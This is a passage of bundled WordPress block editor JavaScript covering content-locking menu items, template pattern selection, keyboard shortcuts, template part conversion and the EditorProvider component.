  const {
    entity,
    onNavigateToEntityRecord,
    canEditTemplates
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getBlockParentsByBlockName,
      getSettings,
      getBlockAttributes,
      getBlockParents
    } = select(external_wp_blockEditor_namespaceObject.store);
    const {
      getCurrentTemplateId,
      getRenderingMode
    } = select(store_store);
    const patternParent = getBlockParentsByBlockName(clientId, 'core/block', true)[0];
    let record;
    if (patternParent) {
      record = select(external_wp_coreData_namespaceObject.store).getEntityRecord('postType', 'wp_block', getBlockAttributes(patternParent).ref);
    } else if (getRenderingMode() === 'template-locked' && !getBlockParents(clientId).some(parent => postContentBlocks.includes(parent))) {
      record = select(external_wp_coreData_namespaceObject.store).getEntityRecord('postType', 'wp_template', getCurrentTemplateId());
    }
    if (!record) {
      return {};
    }
    const _canEditTemplates = select(external_wp_coreData_namespaceObject.store).canUser('create', {
      kind: 'postType',
      name: 'wp_template'
    });
    return {
      canEditTemplates: _canEditTemplates,
      entity: record,
      onNavigateToEntityRecord: getSettings().onNavigateToEntityRecord
    };
  }, [clientId, postContentBlocks]);
  if (!entity) {
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(TemplateLockContentOnlyMenuItems, {
      clientId: clientId,
      onClose: onClose
    });
  }
  const isPattern = entity.type === 'wp_block';
  let helpText = isPattern ? (0,external_wp_i18n_namespaceObject.__)('Edit the pattern to move, delete, or make further changes to this block.') : (0,external_wp_i18n_namespaceObject.__)('Edit the template to move, delete, or make further changes to this block.');
  if (!canEditTemplates) {
    helpText = (0,external_wp_i18n_namespaceObject.__)('Only users with permissions to edit the template can move or delete this block');
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.__unstableBlockSettingsMenuFirstItem, {
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
        onClick: () => {
          onNavigateToEntityRecord({
            postId: entity.id,
            postType: entity.type
          });
        },
        disabled: !canEditTemplates,
        children: isPattern ? (0,external_wp_i18n_namespaceObject.__)('Edit pattern') : (0,external_wp_i18n_namespaceObject.__)('Edit template')
      })
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
      variant: "muted",
      as: "p",
      className: "editor-content-only-settings-menu__description",
      children: helpText
    })]
  });
}
function TemplateLockContentOnlyMenuItems({
  clientId,
  onClose
}) {
  const {
    contentLockingParent
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getContentLockingParent
    } = unlock(select(external_wp_blockEditor_namespaceObject.store));
    return {
      contentLockingParent: getContentLockingParent(clientId)
    };
  }, [clientId]);
  const blockDisplayInformation = (0,external_wp_blockEditor_namespaceObject.useBlockDisplayInformation)(contentLockingParent);
  const blockEditorActions = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
  if (!blockDisplayInformation?.title) {
    return null;
  }
  const {
    modifyContentLockBlock
  } = unlock(blockEditorActions);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.__unstableBlockSettingsMenuFirstItem, {
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
        onClick: () => {
          modifyContentLockBlock(contentLockingParent);
          onClose();
        },
        children: (0,external_wp_i18n_namespaceObject._x)('Unlock', 'Unlock content locked blocks')
      })
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
      variant: "muted",
      as: "p",
      className: "editor-content-only-settings-menu__description",
      children: (0,external_wp_i18n_namespaceObject.__)('Temporarily unlock the parent block to edit, delete or make further changes to this block.')
    })]
  });
}
function ContentOnlySettingsMenu() {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockSettingsMenuControls, {
    children: ({
      selectedClientIds,
      onClose
    }) => selectedClientIds.length === 1 && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ContentOnlySettingsMenuItems, {
      clientId: selectedClientIds[0],
      onClose: onClose
    })
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/start-template-options/index.js
/**
 * WordPress dependencies
 */








/**
 * Internal dependencies
 */



function useFallbackTemplateContent(slug, isCustom = false) {
  return (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEntityRecord,
      getDefaultTemplateId
    } = select(external_wp_coreData_namespaceObject.store);
    const templateId = getDefaultTemplateId({
      slug,
      is_custom: isCustom,
      ignore_empty: true
    });
    return templateId ? getEntityRecord('postType', TEMPLATE_POST_TYPE, templateId)?.content?.raw : undefined;
  }, [slug, isCustom]);
}
function start_template_options_useStartPatterns(fallbackContent) {
  const {
    slug,
    patterns
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getCurrentPostType,
      getCurrentPostId
    } = select(store_store);
    const {
      getEntityRecord,
      getBlockPatterns
    } = select(external_wp_coreData_namespaceObject.store);
    const postId = getCurrentPostId();
    const postType = getCurrentPostType();
    const record = getEntityRecord('postType', postType, postId);
    return {
      slug: record.slug,
      patterns: getBlockPatterns()
    };
  }, []);
  const currentThemeStylesheet = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_coreData_namespaceObject.store).getCurrentTheme().stylesheet);

  // Duplicated from packages/block-library/src/pattern/edit.js.
  function injectThemeAttributeInBlockTemplateContent(block) {
    if (block.innerBlocks.find(innerBlock => innerBlock.name === 'core/template-part')) {
      block.innerBlocks = block.innerBlocks.map(innerBlock => {
        if (innerBlock.name === 'core/template-part' && innerBlock.attributes.theme === undefined) {
          innerBlock.attributes.theme = currentThemeStylesheet;
        }
        return innerBlock;
      });
    }
    if (block.name === 'core/template-part' && block.attributes.theme === undefined) {
      block.attributes.theme = currentThemeStylesheet;
    }
    return block;
  }
  return (0,external_wp_element_namespaceObject.useMemo)(() => {
    // filter patterns that are supposed to be used in the current template being edited.
    return [{
      name: 'fallback',
      blocks: (0,external_wp_blocks_namespaceObject.parse)(fallbackContent),
      title: (0,external_wp_i18n_namespaceObject.__)('Fallback content')
    }, ...patterns.filter(pattern => {
      return Array.isArray(pattern.templateTypes) && pattern.templateTypes.some(templateType => slug.startsWith(templateType));
    }).map(pattern => {
      return {
        ...pattern,
        blocks: (0,external_wp_blocks_namespaceObject.parse)(pattern.content).map(block => injectThemeAttributeInBlockTemplateContent(block))
      };
    })];
  }, [fallbackContent, slug, patterns]);
}
function start_template_options_PatternSelection({
  fallbackContent,
  onChoosePattern,
  postType
}) {
  const [,, onChange] = (0,external_wp_coreData_namespaceObject.useEntityBlockEditor)('postType', postType);
  const blockPatterns = start_template_options_useStartPatterns(fallbackContent);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.__experimentalBlockPatternsList, {
    blockPatterns: blockPatterns,
    onClickPattern: (pattern, blocks) => {
      onChange(blocks, {
        selection: undefined
      });
      onChoosePattern();
    }
  });
}
function StartModal({
  slug,
  isCustom,
  onClose,
  postType
}) {
  const fallbackContent = useFallbackTemplateContent(slug, isCustom);
  if (!fallbackContent) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Modal, {
    className: "editor-start-template-options__modal",
    title: (0,external_wp_i18n_namespaceObject.__)('Choose a pattern'),
    closeLabel: (0,external_wp_i18n_namespaceObject.__)('Cancel'),
    focusOnMount: "firstElement",
    onRequestClose: onClose,
    isFullScreen: true,
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: "editor-start-template-options__modal-content",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(start_template_options_PatternSelection, {
        fallbackContent: fallbackContent,
        slug: slug,
        isCustom: isCustom,
        postType: postType,
        onChoosePattern: () => {
          onClose();
        }
      })
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Flex, {
      className: "editor-start-template-options__modal__actions",
      justify: "flex-end",
      expanded: false,
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
          __next40pxDefaultSize: true,
          variant: "tertiary",
          onClick: onClose,
          children: (0,external_wp_i18n_namespaceObject.__)('Skip')
        })
      })
    })]
  });
}
function StartTemplateOptions() {
  const [isClosed, setIsClosed] = (0,external_wp_element_namespaceObject.useState)(false);
  const {
    shouldOpenModal,
    slug,
    isCustom,
    postType,
    postId
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getCurrentPostType,
      getCurrentPostId
    } = select(store_store);
    const _postType = getCurrentPostType();
    const _postId = getCurrentPostId();
    const {
      getEditedEntityRecord,
      hasEditsForEntityRecord
    } = select(external_wp_coreData_namespaceObject.store);
    const templateRecord = getEditedEntityRecord('postType', _postType, _postId);
    const hasEdits = hasEditsForEntityRecord('postType', _postType, _postId);
    return {
      shouldOpenModal: !hasEdits && '' === templateRecord.content && TEMPLATE_POST_TYPE === _postType,
      slug: templateRecord.slug,
      isCustom: templateRecord.is_custom,
      postType: _postType,
      postId: _postId
    };
  }, []);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    // Should reset the modal state when navigating to a new page/post.
    setIsClosed(false);
  }, [postType, postId]);
  if (!shouldOpenModal || isClosed) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(StartModal, {
    slug: slug,
    isCustom: isCustom,
    postType: postType,
    onClose: () => setIsClosed(true)
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/global-keyboard-shortcuts/index.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */


/**
 * Handles the keyboard shortcuts for the editor.
 *
 * It provides functionality for various keyboard shortcuts such as toggling editor mode,
 * toggling distraction-free mode, undo/redo, saving the post, toggling list view,
 * and toggling the sidebar.
 */
function EditorKeyboardShortcuts() {
  const isModeToggleDisabled = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      richEditingEnabled,
      codeEditingEnabled
    } = select(store_store).getEditorSettings();
    return !richEditingEnabled || !codeEditingEnabled;
  }, []);
  const {
    getBlockSelectionStart
  } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_blockEditor_namespaceObject.store);
  const {
    getActiveComplementaryArea
  } = (0,external_wp_data_namespaceObject.useSelect)(store);
  const {
    enableComplementaryArea,
    disableComplementaryArea
  } = (0,external_wp_data_namespaceObject.useDispatch)(store);
  const {
    redo,
    undo,
    savePost,
    setIsListViewOpened,
    switchEditorMode,
    toggleDistractionFree
  } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
  const {
    isEditedPostDirty,
    isPostSavingLocked,
    isListViewOpened,
    getEditorMode
  } = (0,external_wp_data_namespaceObject.useSelect)(store_store);
  (0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)('core/editor/toggle-mode', () => {
    switchEditorMode(getEditorMode() === 'visual' ? 'text' : 'visual');
  }, {
    isDisabled: isModeToggleDisabled
  });
  (0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)('core/editor/toggle-distraction-free', () => {
    toggleDistractionFree();
  });
  (0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)('core/editor/undo', event => {
    undo();
    event.preventDefault();
  });
  (0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)('core/editor/redo', event => {
    redo();
    event.preventDefault();
  });
  (0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)('core/editor/save', event => {
    event.preventDefault();

    /**
     * Do not save the post if post saving is locked.
     */
    if (isPostSavingLocked()) {
      return;
    }

    // TODO: This should be handled in the `savePost` effect in
    // considering `isSaveable`. See note on `isEditedPostSaveable`
    // selector about dirtiness and meta-boxes.
    //
    // See: `isEditedPostSaveable`
    if (!isEditedPostDirty()) {
      return;
    }
    savePost();
  });

  // Only opens the list view. Other functionality for this shortcut happens in the rendered sidebar.
  (0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)('core/editor/toggle-list-view', event => {
    if (!isListViewOpened()) {
      event.preventDefault();
      setIsListViewOpened(true);
    }
  });
  (0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)('core/editor/toggle-sidebar', event => {
    // This shortcut has no known clashes, but use preventDefault to prevent any
    // obscure shortcuts from triggering.
    event.preventDefault();
    const isEditorSidebarOpened = ['edit-post/document', 'edit-post/block'].includes(getActiveComplementaryArea('core'));
    if (isEditorSidebarOpened) {
      disableComplementaryArea('core');
    } else {
      const sidebarToOpen = getBlockSelectionStart() ? 'edit-post/block' : 'edit-post/document';
      enableComplementaryArea('core', sidebarToOpen);
    }
  });
  return null;
}

;// ./node_modules/@wordpress/editor/build-module/components/template-part-menu-items/convert-to-regular.js
/**
 * WordPress dependencies
 */





function ConvertToRegularBlocks({
  clientId,
  onClose
}) {
  const {
    getBlocks
  } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_blockEditor_namespaceObject.store);
  const {
    replaceBlocks
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
  const canRemove = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_blockEditor_namespaceObject.store).canRemoveBlock(clientId), [clientId]);
  if (!canRemove) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
    onClick: () => {
      replaceBlocks(clientId, getBlocks(clientId));
      onClose();
    },
    children: (0,external_wp_i18n_namespaceObject.__)('Detach')
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/template-part-menu-items/convert-to-template-part.js
/**
 * WordPress dependencies
 */









/**
 * Internal dependencies
 */


function ConvertToTemplatePart({
  clientIds,
  blocks
}) {
  const [isModalOpen, setIsModalOpen] = (0,external_wp_element_namespaceObject.useState)(false);
  const {
    replaceBlocks
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
  const {
    createSuccessNotice
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
  const {
    canCreate
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    return {
      canCreate: select(external_wp_blockEditor_namespaceObject.store).canInsertBlockType('core/template-part')
    };
  }, []);
  if (!canCreate) {
    return null;
  }
  const onConvert = async templatePart => {
    replaceBlocks(clientIds, (0,external_wp_blocks_namespaceObject.createBlock)('core/template-part', {
      slug: templatePart.slug,
      theme: templatePart.theme
    }));
    createSuccessNotice((0,external_wp_i18n_namespaceObject.__)('Template part created.'), {
      type: 'snackbar'
    });

    // The modal and this component will be unmounted because of `replaceBlocks` above,
    // so no need to call `closeModal` or `onClose`.
  };
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
      icon: symbol_filled,
      onClick: () => {
        setIsModalOpen(true);
      },
      "aria-expanded": isModalOpen,
      "aria-haspopup": "dialog",
      children: (0,external_wp_i18n_namespaceObject.__)('Create template part')
    }), isModalOpen && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CreateTemplatePartModal, {
      closeModal: () => {
        setIsModalOpen(false);
      },
      blocks: blocks,
      onCreate: onConvert
    })]
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/template-part-menu-items/index.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */



function TemplatePartMenuItems() {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockSettingsMenuControls, {
    children: ({
      selectedClientIds,
      onClose
    }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(TemplatePartConverterMenuItem, {
      clientIds: selectedClientIds,
      onClose: onClose
    })
  });
}
function TemplatePartConverterMenuItem({
  clientIds,
  onClose
}) {
  const {
    blocks
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getBlocksByClientId
    } = select(external_wp_blockEditor_namespaceObject.store);
    return {
      blocks: getBlocksByClientId(clientIds)
    };
  }, [clientIds]);

  // Allow converting a single template part to standard blocks.
  if (blocks.length === 1 && blocks[0]?.name === 'core/template-part') {
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ConvertToRegularBlocks, {
      clientId: clientIds[0],
      onClose: onClose
    });
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ConvertToTemplatePart, {
    clientIds: clientIds,
    blocks: blocks
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/provider/index.js
/**
 * WordPress dependencies
 */









/**
 * Internal dependencies
 */


















const {
  ExperimentalBlockEditorProvider
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
const {
  PatternsMenuItems
} = unlock(external_wp_patterns_namespaceObject.privateApis);
const provider_noop = () => {};

/**
 * These are global entities that are only there to split blocks into logical units
 * They don't provide a "context" for the current post/page being rendered.
 * So we should not use their ids as post context. This is important to allow post blocks
 * (post content, post title) to be used within them without issues.
 */
const NON_CONTEXTUAL_POST_TYPES = ['wp_block', 'wp_navigation', 'wp_template_part'];

/**
 * Depending on the post, template and template mode,
 * returns the appropriate blocks and change handlers for the block editor provider.
 *
 * @param {Array}   post     Block list.
 * @param {boolean} template Whether the page content has focus (and the surrounding template is inert). If `true` return page content blocks. Default `false`.
 * @param {string}  mode     Rendering mode.
 *
 * @example
 * ```jsx
 * const [ blocks, onInput, onChange ] = useBlockEditorProps( post, template, mode );
 * ```
 *
 * @return {Array} Block editor props.
 */
function useBlockEditorProps(post, template, mode) {
  const rootLevelPost = mode === 'template-locked' ? 'template' : 'post';
  const [postBlocks, onInput, onChange] = (0,external_wp_coreData_namespaceObject.useEntityBlockEditor)('postType', post.type, {
    id: post.id
  });
  const [templateBlocks, onInputTemplate, onChangeTemplate] = (0,external_wp_coreData_namespaceObject.useEntityBlockEditor)('postType', template?.type, {
    id: template?.id
  });
  const maybeNavigationBlocks = (0,external_wp_element_namespaceObject.useMemo)(() => {
    if (post.type === 'wp_navigation') {
      return [(0,external_wp_blocks_namespaceObject.createBlock)('core/navigation', {
        ref: post.id,
        // As the parent editor is locked with `templateLock`, the template locking
        // must be explicitly "unset" on the block itself to allow the user to modify
        // the block's content.
        templateLock: false
      })];
    }
  }, [post.type, post.id]);

  // It is important that we don't create a new instance of blocks on every change
  // We should only create a new instance if the blocks them selves change, not a dependency of them.
  const blocks = (0,external_wp_element_namespaceObject.useMemo)(() => {
    if (maybeNavigationBlocks) {
      return maybeNavigationBlocks;
    }
    if (rootLevelPost === 'template') {
      return templateBlocks;
    }
    return postBlocks;
  }, [maybeNavigationBlocks, rootLevelPost, templateBlocks, postBlocks]);

  // Handle fallback to postBlocks outside of the above useMemo, to ensure
  // that constructed block templates that call `createBlock` are not generated
  // too frequently. This ensures that clientIds are stable.
  const disableRootLevelChanges = !!template && mode === 'template-locked' || post.type === 'wp_navigation';
  if (disableRootLevelChanges) {
    return [blocks, provider_noop, provider_noop];
  }
  return [blocks, rootLevelPost === 'post' ? onInput : onInputTemplate, rootLevelPost === 'post' ? onChange : onChangeTemplate];
}

/**
 * This component provides the editor context and manages the state of the block editor.
 *
 * @param {Object}  props                                The component props.
 * @param {Object}  props.post                           The post object.
 * @param {Object}  props.settings                       The editor settings.
 * @param {boolean} props.recovery                       Indicates if the editor is in recovery mode.
 * @param {Array}   props.initialEdits                   The initial edits for the editor.
 * @param {Object}  props.children                       The child components.
 * @param {Object}  [props.BlockEditorProviderComponent] The block editor provider component to use. Defaults to ExperimentalBlockEditorProvider.
 * @param {Object}  [props.__unstableTemplate]           The template object.
 *
 * @example
 * ```jsx
 * <ExperimentalEditorProvider
 *   post={ post }
 *   settings={ settings }
 *   recovery={ recovery }
 *   initialEdits={ initialEdits }
 *   __unstableTemplate={ template }
 * >
 *   { children }
 * </ExperimentalEditorProvider>
 *
 * @return {Object} The rendered ExperimentalEditorProvider component.
 */
const ExperimentalEditorProvider = with_registry_provider(({
  post,
  settings,
  recovery,
  initialEdits,
  children,
  BlockEditorProviderComponent = ExperimentalBlockEditorProvider,
  __unstableTemplate: template
}) => {
  const hasTemplate = !!template;
  const {
    editorSettings,
    selection,
    isReady,
    mode,
    defaultMode,
    postTypeEntities
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEditorSettings,
      getEditorSelection,
      getRenderingMode,
      __unstableIsEditorReady,
      getDefaultRenderingMode
    } = unlock(select(store_store));
    const {
      getEntitiesConfig
    } = select(external_wp_coreData_namespaceObject.store);
    const _mode = getRenderingMode();
    const _defaultMode = getDefaultRenderingMode(post.type);
    /**
     * To avoid content "flash", wait until rendering mode has been resolved.
     * This is important for the initial render of the editor.
     *
     * - Wait for template to be resolved if the default mode is 'template-locked'.
     * - Wait for default mode to be resolved otherwise.
     */
    const hasResolvedDefaultMode = _defaultMode === 'template-locked' ? hasTemplate : _defaultMode !== undefined;
    // Wait until the default mode is retrieved and start rendering canvas.
    const isRenderingModeReady = _defaultMode !== undefined;
    return {
      editorSettings: getEditorSettings(),
      isReady: __unstableIsEditorReady(),
      mode: isRenderingModeReady ? _mode : undefined,
      defaultMode: hasResolvedDefaultMode ? _defaultMode : undefined,
      selection: getEditorSelection(),
      postTypeEntities: post.type === 'wp_template' ? getEntitiesConfig('postType') : null
    };
  }, [post.type, hasTemplate]);
  const shouldRenderTemplate = hasTemplate && mode !== 'post-only';
  const rootLevelPost = shouldRenderTemplate ? template : post;
  const defaultBlockContext = (0,external_wp_element_namespaceObject.useMemo)(() => {
    const postContext = {};
    // If it is a template, try to inherit the post type from the name.
    if (post.type === 'wp_template') {
      if (post.slug === 'page') {
        postContext.postType = 'page';
      } else if (post.slug === 'single') {
        postContext.postType = 'post';
      } else if (post.slug.split('-')[0] === 'single') {
        // If the slug is single-{postType}, infer the post type from the name.
        const postTypeNames = postTypeEntities?.map(entity => entity.name) || [];
        const match = post.slug.match(`^single-(${postTypeNames.join('|')})(?:-.+)?$`);
        if (match) {
          postContext.postType = match[1];
        }
      }
    } else if (!NON_CONTEXTUAL_POST_TYPES.includes(rootLevelPost.type) || shouldRenderTemplate) {
      postContext.postId = post.id;
      postContext.postType = post.type;
    }
    return {
      ...postContext,
      templateSlug: rootLevelPost.type === 'wp_template' ? rootLevelPost.slug : undefined
    };
  }, [shouldRenderTemplate, post.id, post.type, post.slug, rootLevelPost.type, rootLevelPost.slug, postTypeEntities]);
  const {
    id,
    type
  } = rootLevelPost;
  const blockEditorSettings = use_block_editor_settings(editorSettings, type, id, mode);
  const [blocks, onInput, onChange] = useBlockEditorProps(post, template, mode);
  const {
    updatePostLock,
    setupEditor,
    updateEditorSettings,
    setCurrentTemplateId,
    setEditedPost,
    setRenderingMode
  } = unlock((0,external_wp_data_namespaceObject.useDispatch)(store_store));
  const {
    createWarningNotice
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);

  // Ideally this should be synced on each change and not just something you do once.
  (0,external_wp_element_namespaceObject.useLayoutEffect)(() => {
    // Assume that we don't need to initialize in the case of an error recovery.
    if (recovery) {
      return;
    }
    updatePostLock(settings.postLock);
    setupEditor(post, initialEdits, settings.template);
    if (settings.autosave) {
      createWarningNotice((0,external_wp_i18n_namespaceObject.__)('There is an autosave of this post that is more recent than the version below.'), {
        id: 'autosave-exists',
        actions: [{
          label: (0,external_wp_i18n_namespaceObject.__)('View the autosave'),
          url: settings.autosave.editLink
        }]
      });
    }

    // The dependencies of the hook are omitted deliberately
    // We only want to run setupEditor (with initialEdits) only once per post.
    // A better solution in the future would be to split this effect into multiple ones.
  }, []);

  // Synchronizes the active post with the state
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    setEditedPost(post.type, post.id);
  }, [post.type, post.id, setEditedPost]);

  // Synchronize the editor settings as they change.
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    updateEditorSettings(settings);
  }, [settings, updateEditorSettings]);

  // Synchronizes the active template with the state.
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    setCurrentTemplateId(template?.id);
  }, [template?.id, setCurrentTemplateId]);

  // Sets the right rendering mode when loading the editor.
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    if (defaultMode) {
      setRenderingMode(defaultMode);
    }
  }, [defaultMode, setRenderingMode]);
  useHideBlocksFromInserter(post.type, mode);

  // Register the editor commands.
  useCommands();
  if (!isReady || !mode) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_coreData_namespaceObject.EntityProvider, {
    kind: "root",
    type: "site",
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_coreData_namespaceObject.EntityProvider, {
      kind: "postType",
      type: post.type,
      id: post.id,
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockContextProvider, {
        value: defaultBlockContext,
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(BlockEditorProviderComponent, {
          value: blocks,
          onChange: onChange,
          onInput: onInput,
          selection: selection,
          settings: blockEditorSettings,
          useSubRegistry: false,
          children: [children, !settings.isPreviewMode && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
            children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PatternsMenuItems, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(TemplatePartMenuItems, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ContentOnlySettingsMenu, {}), mode === 'template-locked' && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DisableNonPageContentBlocks, {}), type === 'wp_navigation' && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(NavigationBlockEditingMode, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EditorKeyboardShortcuts, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(keyboard_shortcut_help_modal, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockRemovalWarnings, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(StartPageOptions, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(StartTemplateOptions, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PatternRenameModal, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PatternDuplicateModal, {})]
          })]
        })
      })
    })
  });
});

/**
 * This component establishes a new post editing context, and serves as the entry point for a new post editor (or post with template editor).
 *
 * It supports a large number of post types, including post, page, templates,
 * custom post types, patterns, template parts.
 *
 * All modification and changes are performed to the `@wordpress/core-data` store.
 *
 * @param {Object}          props                      The component props.
 * @param {Object}          [props.post]               The post object to edit. This is required.
 * @param {Object}          [props.__unstableTemplate] The template object wrapper the edited post.
 *                                                     This is optional and can only be used when the post type supports templates (like posts and pages).
 * @param {Object}          [props.settings]           The settings object to use for the editor.
 *                                                     This is optional and can be used to override the default settings.
 * @param {React.ReactNode} [props.children]           Children elements for which the BlockEditorProvider context should apply.
 *                                                     This is optional.
 *
 * @example
 * ```jsx
 * <EditorProvider
 *   post={ post }
 *   settings={ settings }
 *   __unstableTemplate={ template }
 * >
 *   { children }
 * </EditorProvider>
 * ```
 *
 * @return {React.ReactNode} The rendered EditorProvider component.
 */
function EditorProvider(props) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ExperimentalEditorProvider, {
    ...props,
    BlockEditorProviderComponent: external_wp_blockEditor_namespaceObject.BlockEditorProvider,
    children: props.children
  });
}
/* harmony default export */ const provider = (EditorProvider);

;// ./node_modules/@wordpress/editor/build-module/dataviews/fields/content-preview/content-preview-view.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */


// @ts-ignore


const {
  useGlobalStyle
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function PostPreviewContainer({
  template,
  post
}) {
  const [backgroundColor = 'white'] = useGlobalStyle('color.background');
  const [postBlocks] = (0,external_wp_coreData_namespaceObject.useEntityBlockEditor)('postType', post.type, {
    id: post.id
  });
  const [templateBlocks] = (0,external_wp_coreData_namespaceObject.useEntityBlockEditor)('postType', template?.type, {
    id: template?.id
  });
  const blocks = template && templateBlocks ? templateBlocks : postBlocks;
  const isEmpty = !blocks?.length;
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
    className: "editor-fields-content-preview",
    style: {
      backgroundColor
    },
    children: [isEmpty && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
      className: "editor-fields-content-preview__empty",
      children: (0,external_wp_i18n_namespaceObject.__)('Empty content')
